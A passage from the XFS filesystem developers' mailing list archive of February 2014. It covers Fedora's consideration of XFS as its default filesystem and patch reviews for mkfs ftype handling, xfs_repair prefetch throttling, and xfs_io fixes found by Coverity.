X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145578 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Feb 27, 2014, at 8:06 AM, Eric Sandeen wrote: > On 2/26/14, 11:37 PM, Chris Murphy wrote: >> Hi, >>=20 >> Fedora is considering XFS as their default file system. They support >> three primary architectures: x86_64, i686, and armv7hl. Do XFS devs >> have any reservations about XFS as a default file system on either >> i686, or arm? >=20 > As Dave said, we rely on others to do ARM testing for the most part, > though I've certainly jumped in and debugged some issues from time > to time. >=20 > It'd be super if Fedora could run the xfstests test suite on arm > as part of QE. I'd be more than happy to help get that started > if people are interested. I don't know that Fedora QA has the resources to do this, but I'll cc = the Fedora test@ (QA) arm@ lists. If these are highly automatable tests = it might be possible, if they have the hardware. More likely I think = it's that we need some ARM community folks to look at splitting up some = of this work. I'm not sure yet what concerns the ARM group might have with XFS either = as this hasn't been decided, but the Fedora Server product working group = is slightly leaning toward XFS by default. Performance and CPU hit wise = on x86_64, XFS seems to match up well with ext4 and maybe even a bit = better ratio of throughput/CPUtime for booting workload (systemd is = parallel!) so if were the same on ARM XFS could work out slightly better = for them. Chris Murphy= From david@fromorbit.com Thu Feb 27 13:40:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BEB6C7F3F for ; Thu, 27 Feb 2014 13:40:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9F67C8F8052 for ; Thu, 27 Feb 2014 11:40:41 -0800 (PST) X-ASG-Debug-ID: 1393530039-04bdf05daacd9a0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 41n0jOPoVsh9lXkm for ; Thu, 27 Feb 2014 11:40:39 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Aph1AJ+TD1N5LJYePGdsb2JhbABagwaDQ4UMs3mFVoEcFwMBAQEBHxkNKIIlAQEEATocIwULCAMVAwklDwUlAwcaE4dxB8skFxaOPweDI4EUBJg3lWwo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 06:10:38 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJ6ov-0000o1-Sn; Fri, 28 Feb 2014 06:40:37 +1100 Date: Fri, 28 Feb 2014 06:40:37 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] mkfs: proto file creation does not set ftype correctly Message-ID: <20140227194037.GC30131@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/2] mkfs: proto file creation does not set ftype correctly References: <1393494344-30056-1-git-send-email-david@fromorbit.com> <1393494344-30056-3-git-send-email-david@fromorbit.com> <530F4907.5010808@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530F4907.5010808@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393530039 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145578 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 27, 2014 at 08:17:43AM -0600, Eric Sandeen wrote: > On 2/27/14, 3:45 AM, Dave Chinner wrote: > > From: Dave Chinner > > > > Hence running xfs_repair on a ftype enable filesystem that has > > contents created by a proto file will throw warnings on mismatched > > ftype entries and correct them. xfs/031 fails due to this problem. > > > > Fix it by settin gup the xname structure with the correct type > > "setting up" > > > fields. > > > > Signed-off-by: Dave Chinner > > huh, surprised that hung out there for so long ;) Just shows how long it took my backlog down far enough to deal with non-critical xfstests failures on CRC enabled filesystems... > I guess the root inode is handled by core mkfs code, right? > (around line 544) Yes - and the root inode is indexed in a directory (it's indexed by the superblock), so there's not ftype entry to be set up. > And I notice that "r" filetypes aren't documented in the > manpage but that's a different issue. Patch? ;) > As long as I'm right about the root inode, > > Reviewed-by: Eric Sandeen Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 27 14:02:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 71F8C7F3F for ; Thu, 27 Feb 2014 14:02:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id F1EEFAC003 for ; Thu, 27 Feb 2014 12:02:34 -0800 (PST) X-ASG-Debug-ID: 1393531352-04cb6c5676c66c0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id gSlVAWKpUCjMFq6v for ; Thu, 27 Feb 2014 12:02:32 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Apt1AH6ZD1N5LJYePGdsb2JhbABagwaDQ4UMs3qFVoEcFwMBAQEBHxkNKIIlAQEEAScTHCMFCwgDDgcDCSUPBSUDBxoTh3EHyy4XFo1mAVgHgyOBFASYN5VsKIEsCRc Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 06:31:55 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJ79S-0000s5-HU; Fri, 28 Feb 2014 07:01:50 +1100 Date: Fri, 28 Feb 2014 07:01:50 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 09/10] repair: prefetch runs too far ahead Message-ID: <20140227200150.GD30131@dastard> X-ASG-Orig-Subj: Re: [PATCH 09/10] repair: prefetch runs too far ahead References: <1393494675-30194-1-git-send-email-david@fromorbit.com> <1393494675-30194-10-git-send-email-david@fromorbit.com> <20140227140846.GB62463@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140227140846.GB62463@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393531352 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145579 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 27, 2014 at 09:08:46AM -0500, Brian Foster wrote: > On Thu, Feb 27, 2014 at 08:51:14PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > Hmm, I replied to this one in the previous thread, but now I notice that > it apparently never made it to the list. Dave, did you happen to see > that in your inbox? Anyways, I had a couple minor comments/questions > that I'll duplicate here (which probably don't require another > repost)... No, I didn't. [snip typos that need fixing] > > diff --git a/repair/prefetch.c b/repair/prefetch.c > > index aee6342..7d3efde 100644 > > --- a/repair/prefetch.c > > +++ b/repair/prefetch.c > > @@ -866,6 +866,48 @@ start_inode_prefetch( > > return args; > > } > > > > A brief comment before the prefetch_ag_range bits that explain the > implicit design constraints (e.g., throttle prefetch based on > processing) would be nice. :) Can do. > > @@ -919,20 +955,27 @@ do_inode_prefetch( > > * create one worker thread for each segment of the volume > > */ > > queues = malloc(thread_count * sizeof(work_queue_t)); > > - for (i = 0, agno = 0; i < thread_count; i++) { > > + for (i = 0; i < thread_count; i++) { > > + struct pf_work_args *wargs; > > + > > + wargs = malloc(sizeof(struct pf_work_args)); > > + wargs->start_ag = i * stride; > > + wargs->end_ag = min((i + 1) * stride, > > + mp->m_sb.sb_agcount); > > + wargs->dirs_only = dirs_only; > > + wargs->func = func; > > + > > create_work_queue(&queues[i], mp, 1); > > - pf_args[0] = NULL; > > - for (j = 0; j < stride && agno < mp->m_sb.sb_agcount; > > - j++, agno++) { > > - pf_args[0] = start_inode_prefetch(agno, dirs_only, > > - pf_args[0]); > > - queue_work(&queues[i], func, agno, pf_args[0]); > > - } > > + queue_work(&queues[i], prefetch_ag_range_work, 0, wargs); > > + > > + if (wargs->end_ag >= mp->m_sb.sb_agcount) > > + break; > > } > > Ok, so instead of giving prefetch a green light on every single AG (and > queueing the "work" functions), we queue a series of prefetch(next) then > do_work() instances based on the stride. The prefetch "greenlight" (to > distinguish from the prefetch itself) is now offloaded to the threads > doing the work, which will only green light the next AG in the sequence. Right - prefetch is now limited to one AG ahead of the AG being processed by each worker thread. > The code looks reasonable to me. Does the non-crc fs referenced in the > commit log to repair at 1m57 still run at that rate with this enabled? It's within the run-to-run variation: .... Run single threaded: $ time sudo xfs_repair -v -v -o bhash=32768 -t 1 -o ag_stride=-1 /dev/vdc ..... XFS_REPAIR Summary Fri Feb 28 06:53:45 2014 Phase Start End Duration Phase 1: 02/28 06:51:54 02/28 06:51:54 Phase 2: 02/28 06:51:54 02/28 06:52:02 8 seconds Phase 3: 02/28 06:52:02 02/28 06:52:37 35 seconds Phase 4: 02/28 06:52:37 02/28 06:53:03 26 seconds Phase 5: 02/28 06:53:03 02/28 06:53:03 Phase 6: 02/28 06:53:03 02/28 06:53:44 41 seconds Phase 7: 02/28 06:53:44 02/28 06:53:44 Total run time: 1 minute, 50 seconds done Run auto-threaded: $ time sudo xfs_repair -v -v -o bhash=32768 -t 1 /dev/vdc ..... XFS_REPAIR Summary Fri Feb 28 06:58:08 2014 Phase Start End Duration Phase 1: 02/28 06:56:13 02/28 06:56:14 1 second Phase 2: 02/28 06:56:14 02/28 06:56:20 6 seconds Phase 3: 02/28 06:56:20 02/28 06:56:59 39 seconds Phase 4: 02/28 06:56:59 02/28 06:57:28 29 seconds Phase 5: 02/28 06:57:28 02/28 06:57:28 Phase 6: 02/28 06:57:28 02/28 06:58:08 40 seconds Phase 7: 02/28 06:58:08 02/28 06:58:08 Total run time: 1 minute, 55 seconds done Even single AG prefetching on this test is bandwidth bound (pair of SSDs in RAID0, reading 900MB/s @ 2,500 IOPS), so multi-threading doesn't make it any faster. Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Thu Feb 27 14:16:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E1D427F3F for ; Thu, 27 Feb 2014 14:16:55 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D1C258F804C for ; Thu, 27 Feb 2014 12:16:52 -0800 (PST) X-ASG-Debug-ID: 1393532211-04cbb066e4c9ea0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id RdtzoHgQ5JmbaHej for ; Thu, 27 Feb 2014 12:16:52 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1RKGoYF018377 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 27 Feb 2014 15:16:51 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1RKGnN4032443 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Thu, 27 Feb 2014 15:16:50 -0500 Message-ID: <530F9D31.5070103@redhat.com> Date: Thu, 27 Feb 2014 14:16:49 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs_io: add missing break in O_TMPFILE case X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs_io: add missing break in O_TMPFILE case Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393532211 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Coverity spotted this. Signed-off-by: Eric Sandeen --- (I assume that -T isn't supposed to imply -x?) diff --git a/io/init.c b/io/init.c index fd1a52f..1e2690e 100644 --- a/io/init.c +++ b/io/init.c @@ -181,6 +181,7 @@ init( break; case 'T': flags |= IO_TMPFILE; + break; case 'x': expert = 1; break; From BATV+9d52d1822aa6f7de43c9+3840+infradead.org+hch@bombadil.srs.infradead.org Thu Feb 27 14:21:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9C1D17F3F for ; Thu, 27 Feb 2014 14:21:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2B9D5AC008 for ; Thu, 27 Feb 2014 12:21:30 -0800 (PST) X-ASG-Debug-ID: 1393532488-04cb6c5675c8220001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id lfG3wLLYqAEboplH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 27 Feb 2014 12:21:28 -0800 (PST) X-Barracuda-Envelope-From: BATV+9d52d1822aa6f7de43c9+3840+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WJ7SR-0006tv-Qw; Thu, 27 Feb 2014 20:21:27 +0000 Date: Thu, 27 Feb 2014 12:21:27 -0800 From: Christoph Hellwig To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs_io: add missing break in O_TMPFILE case Message-ID: <20140227202127.GA21998@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: add missing break in O_TMPFILE case References: <530F9D31.5070103@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530F9D31.5070103@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1393532488 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145579 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Thu, Feb 27, 2014 at 02:16:49PM -0600, Eric Sandeen wrote: > Coverity spotted this. > > Signed-off-by: Eric Sandeen > --- > > (I assume that -T isn't supposed to imply -x?) It's not, thanks! Reviewed-by: Christoph Hellwig From david@fromorbit.com Thu Feb 27 14:24:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4825A7F3F for ; Thu, 27 Feb 2014 14:24:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 251308F8052 for ; Thu, 27 Feb 2014 12:24:10 -0800 (PST) X-ASG-Debug-ID: 1393532648-04cb6c5677c8590001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id dEfHVGKDem1Dn8mC for ; Thu, 27 Feb 2014 12:24:08 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Apd1ADWeD1N5LJYePGdsb2JhbABagwaDQ4UMs3uFVoEcFwMBAQEBHxkNKIIlAQEFOhwjEAgDDgcDCSUPBSUDBxoTh3jLOBcWjWZZB4MjgRQEmDeVbCiBNQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 06:54:07 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJ7Uz-0000uy-S5; Fri, 28 Feb 2014 07:24:05 +1100 Date: Fri, 28 Feb 2014 07:24:05 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 09/10] repair: prefetch runs too far ahead Message-ID: <20140227202405.GE30131@dastard> X-ASG-Orig-Subj: Re: [PATCH 09/10] repair: prefetch runs too far ahead References: <1393494675-30194-1-git-send-email-david@fromorbit.com> <1393494675-30194-10-git-send-email-david@fromorbit.com> <20140227140846.GB62463@bfoster.bfoster> <20140227200150.GD30131@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140227200150.GD30131@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393532648 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145579 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 28, 2014 at 07:01:50AM +1100, Dave Chinner wrote: > On Thu, Feb 27, 2014 at 09:08:46AM -0500, Brian Foster wrote: > > On Thu, Feb 27, 2014 at 08:51:14PM +1100, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > > Hmm, I replied to this one in the previous thread, but now I notice that > > it apparently never made it to the list. Dave, did you happen to see > > that in your inbox? Anyways, I had a couple minor comments/questions > > that I'll duplicate here (which probably don't require another > > repost)... > > No, I didn't. > > [snip typos that need fixing] > > > > diff --git a/repair/prefetch.c b/repair/prefetch.c > > > index aee6342..7d3efde 100644 > > > --- a/repair/prefetch.c > > > +++ b/repair/prefetch.c > > > @@ -866,6 +866,48 @@ start_inode_prefetch( > > > return args; > > > } > > > > > > > A brief comment before the prefetch_ag_range bits that explain the > > implicit design constraints (e.g., throttle prefetch based on > > processing) would be nice. :) > > Can do. Added this: /* * prefetch_ag_range runs a prefetch-and-process loop across a range of AGs. It * begins with @start+ag, and finishes with @end_ag - 1 (i.e. does not prefetch * or process @end_ag). The function starts prefetch on the first AG, then loops * starting prefetch on the next AG and then blocks processing the current AG as * the prefetch queue brings inodes into the processing queue. * * There is only one prefetch taking place at a time, so the prefetch on the * next AG only starts once the current AG has been completely prefetched. Hence * the prefetch of the next AG will start some time before the processing of the * current AG finishes, ensuring that when we iterate an start processing the * next AG there is already a significant queue of inodes to process. * * Prefetch is done this way to prevent it from running too far ahead of the * processing. Allowing it to do so can cause cache thrashing, where new * prefetch causes previously prefetched buffers to be reclaimed before the * processing thread uses them. This results in reading all the inodes and * metadata twice per phase and it greatly slows down the processing. Hence we * have to carefully control how far ahead we prefetch... */ Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Thu Feb 27 14:25:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9ACF17F3F for ; Thu, 27 Feb 2014 14:25:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 863A78F8059 for ; Thu, 27 Feb 2014 12:25:30 -0800 (PST) X-ASG-Debug-ID: 1393532729-04cb6c5677c86e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qUFvivJTeLJylutg for ; Thu, 27 Feb 2014 12:25:29 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1RKPS96018254 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 27 Feb 2014 15:25:28 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1RKPRH1009056 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Thu, 27 Feb 2014 15:25:28 -0500 Message-ID: <530F9F37.8020408@redhat.com> Date: Thu, 27 Feb 2014 14:25:27 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs_io: don't leak fd in open -Tr failure case X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs_io: don't leak fd in open -Tr failure case Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393532729 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Coverity spotted this. It complained that we didn't close the fd before returning in this case of incompatible options, but it seems like we should just test for the incompatible flags before even trying to open the file, no? (The open would have failed in any case, but with a somewhat cryptic "Invalid argument" - so it's probably better to state it plainly and bail immediately.) Signed-off-by: Eric Sandeen --- diff --git a/io/open.c b/io/open.c index 6bb0d46..c106fa7 100644 --- a/io/open.c +++ b/io/open.c @@ -342,6 +342,11 @@ open_f( if (optind != argc - 1) return command_usage(&open_cmd); + if ((flags & (IO_READONLY|IO_TMPFILE)) == (IO_READONLY|IO_TMPFILE)) { + fprintf(stderr, _("-T and -r options are incompatible\n")); + return -1; + } + fd = openfile(argv[optind], &geometry, flags, mode); if (fd < 0) return 0; @@ -349,11 +354,6 @@ open_f( if (!platform_test_xfs_fd(fd)) flags |= IO_FOREIGN; - if ((flags & (IO_READONLY|IO_TMPFILE)) == (IO_READONLY|IO_TMPFILE)) { - fprintf(stderr, _("-T and -r options are incompatible\n")); - return -1; - } - addfile(argv[optind], fd, &geometry, flags); return 0; } From david@fromorbit.com Thu Feb 27 14:25:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 927FF7F3F for ; Thu, 27 Feb 2014 14:25:52 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8288030406B for ; Thu, 27 Feb 2014 12:25:49 -0800 (PST) X-ASG-Debug-ID: 1393532746-04cb6c5675c8740001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id psDSlm9iKIBSWshQ for ; Thu, 27 Feb 2014 12:25:46 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApZ1ADWeD1N5LJYePGdsb2JhbABagwaDQ4UMs3uFVoEcFwMBAQEBHxkNKIIlAQEFOhwVDhAIAxgJJQ8FJQMHGhOHeMs4FxaOPweDI4EUBJg3ilWLFyg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 06:55:45 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJ7Wa-0000vE-Qf; Fri, 28 Feb 2014 07:25:44 +1100 Date: Fri, 28 Feb 2014 07:25:44 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs_io: add missing break in O_TMPFILE case Message-ID: <20140227202544.GF30131@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: add missing break in O_TMPFILE case References: <530F9D31.5070103@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <530F9D31.5070103@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393532746 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145579 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 27, 2014 at 02:16:49PM -0600, Eric Sandeen wrote: > Coverity spotted this. > > Signed-off-by: Eric Sandeen > --- > > (I assume that -T isn't supposed to imply -x?) > > diff --git a/io/init.c b/io/init.c > index fd1a52f..1e2690e 100644 > --- a/io/init.c > +++ b/io/init.c > @@ -181,6 +181,7 @@ init( > break; > case 'T': > flags |= IO_TMPFILE; > + break; > case 'x': > expert = 1; > break; Looks good. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Thu Feb 27 14:32:51 